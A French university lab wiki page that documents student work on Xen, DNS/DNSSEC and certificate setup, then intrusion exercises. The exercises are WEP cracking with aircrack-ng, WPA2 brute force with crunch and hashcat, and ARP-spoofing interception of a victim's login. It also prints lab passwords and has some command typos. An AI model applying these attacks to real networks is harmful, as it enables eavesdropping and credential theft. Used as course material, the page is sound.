TP sysres IMA5sc 2020/2021 G5

De Wiki d'activités IMA
Révision datée du 14 décembre 2020 à 15:31 par Lringot (discussion | contributions) (Sécurisation de serveur DNS par DNSSEC)
Groupe Domaine Distribution VLAN privé IP (VLAN333) Netmask (VLAN333) Gateway (VLAN333) Gateway 6509-E (VLAN333) Gateway 9200 (VLAN333) IP (publique)
Groupe 5 amanite.site Debian 10 Buster 305 100.64.0.24 255.255.255.0 100.64.0.254 100.64.0.1 100.64.0.2 193.48.57.184

Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :

General Information
--------------------
Hostname       :  amanite
Distribution   :  buster
Mirror         :  http://deb.debian.org/debian
Partitions     :  swap            512M  (swap)
                 /               4G    (ext4)
Image type     :  sparse
Memory size    :  256M
Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64
Initrd path    :  /boot/initrd.img-4.19.0-9-amd64
Networking Information
----------------------
IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask        : 255.255.255.0
Gateway        : 100.64.0.5

Configuration des LV

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifier le fichier config de la VM, amanite.cfg, afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :

disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :

vif = [ 'bridge=IMA5sc, ...']

Création et configuration de la machine virtuelle

Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

  • Commandes utiles
    • Affichage de l'ensemble des VM présente sur capbreton : xl list
    • Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

Suite de la configuration

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :

root@amanite:~# mkfs.ext4 /dev/xvda3 
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

On modifie ensuite /ect/fstab en ajoutant :

/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis on les monte à l'aide de la commande : mount -a Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :

NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvda1 202:1    0  512M  0 disk [SWAP]
xvda2 202:2    0    4G  0 disk /
xvda3 202:3    0   10G  0 disk /home
xvda4 202:4    0   10G  0 disk /var

Service Internet

Serveur SSH

Installation d'un serveur ssh, accessible grâce à la commande :

ssh root@amanite.site

avec le mot de passe habituel d'une zabeth non root.

(Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

Serveur DNS

Nous avons commencé par louer un nom de domaine sur gandi.net :

amanite.site

Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
    type master;
    file "/etc/bind/zones/amanite.site.db";
    allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL    604800
@       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (
                             6         ; Serial
                        604800         ; Refresh
                         86400         ; Retry
                       2419200         ; Expire
                        604800 )       ; Negative Cache TTL
;
@       IN      NS      ns1.amanite.site.
@       IN      NS      ns6.gandi.net.
@	 IN 	 MX	 42 ns1
ns1     IN      A       193.48.57.184
www     IN      A       193.48.57.184

Dans /etc/bind/name.conf.options

options {
	directory "/var/cache/bind";
	dnssec-validation auto;
	listen-on-v6 { any; };
	allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
    217.70.177.40/32;
};

Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.

ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :

host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

Sécurisation de site web par certificat

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et on s'aide de la documentation de gandi. Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr
Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:


Une fois la procédure lancée on rentre nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site". Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, on ajoute ce certificat a notre nom de domaine et on attend de recevoir le certificat signé.

Sécurisation de serveur DNS par DNSSEC

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS, de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :

dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site

Puis la la clef asymétrique de la zone pour signer les enregistrements :

dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :

amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :

$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :

dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk 

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :

zone "amanite.site" IN {
    type master;
    file "/etc/bind/zones/amanite.site.db.signed";
    allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :

service bind9 restart

https://dnssec-analyzer.verisignlabs.com/amanite.site

Tests d'intrusion

Cassage de clef WEP d’un point d’accès WiFi

  • Liste des commandes :
    • Lister les interfaces WiFi disponibles : airmong-ng
    • Passage d'une interface en mode moniteur : airmong-ng start <Interface>
    • Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
    • Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
    • Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur. Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :

wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :

airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :

airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :

airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :

Fake Authentication : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon
Injection : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :

aircrack-ng -z data.cap

On obtient alors :

KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] 

Decrypted correctly: 100%

Cassage de mot de passe WPA2-PSK par force brute

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :

wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :

airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :

airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :

airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture. En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :

crunch 8 8 0123456789 > dico.txt

En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :

crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

Attaque de type "homme au milieu" par usurpation ARP

La première étape est de transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1

Grâce à la commande :

arp -a

Nous pouvons afficher la table arp de la machine pirate. Grâce à cette table nous identifions deux adresses IP :

172.26.145.254 -> Adresse IP du routeur

172.26.145.60 -> Adresse IP de la machine victime


Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :

arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre commande (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets vers le routeur et vers la machine victime de manière transparante.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante on observe les paquets suivants :

texte alternatif
Capture Wireshark

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

Intrusion sur un serveur d’application Web

Réalisations

Sécurisation de données

A remplir

Chiffrement de données

A remplir

Inspection ARP par un élément réseau

Sécurisation WiFi par WPA2-EAP